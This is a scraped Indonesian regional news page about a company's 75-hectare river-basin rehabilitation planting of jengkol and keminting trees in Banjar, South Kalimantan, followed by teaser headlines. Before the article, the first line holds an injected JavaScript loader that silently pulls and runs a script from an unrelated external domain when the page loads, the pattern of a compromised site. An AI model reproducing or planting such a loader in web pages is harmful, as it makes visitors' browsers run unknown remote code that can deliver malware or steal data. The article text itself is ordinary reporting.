(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Rehabilitasi Daerah Aliran Sungai seluas 75 Ha sudah terlaksana pada kawasan IPPKH PT Satui Terminal Umum. Hal tersebut sudah dipastikan pada saat tim dari Dinas Kehutanan yang didampingi oleh KRPH Sungai Luar melaksanakan monitoring ke Desa Artain Kecamatan Aranio Kabupaten Banjar.
STU sebagai pemegang IUPPKH di daerah tersebut mulai melaksanakan penanaman sejak Pebruari lalu. Total luasan yang harus direhabilitasi PT. STU seluas 735 Ha dengan jenis tanaman yang ditanam adalah jengkol dan keminting. Pemilihan jenis tersebut dipilih berdasarkan instruksi Kadishut Prov Kalsel DR. Hanif Faisol Nurofiq, S.Hut, MP agar pada saat tanaman tumbuh besar nanti masyarakat dapat menikmati buahnya sekaligus mampu menimbulkan rasa memiliki akan tanaman tersebut, sehingga masyarakat turut serta menjaga tanaman tersebut.
Penanaman IPPKH PT. Satui Terminal Umum merupakan bagian dari target penanaman IPPKH secara keseluruhan di Provinsi Kalsel yang di targetkan seluas 15.000 Ha, guna menyukseskan Program Revolusi Hijau seluas 35.000 Ha di Kalsel.(cel)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.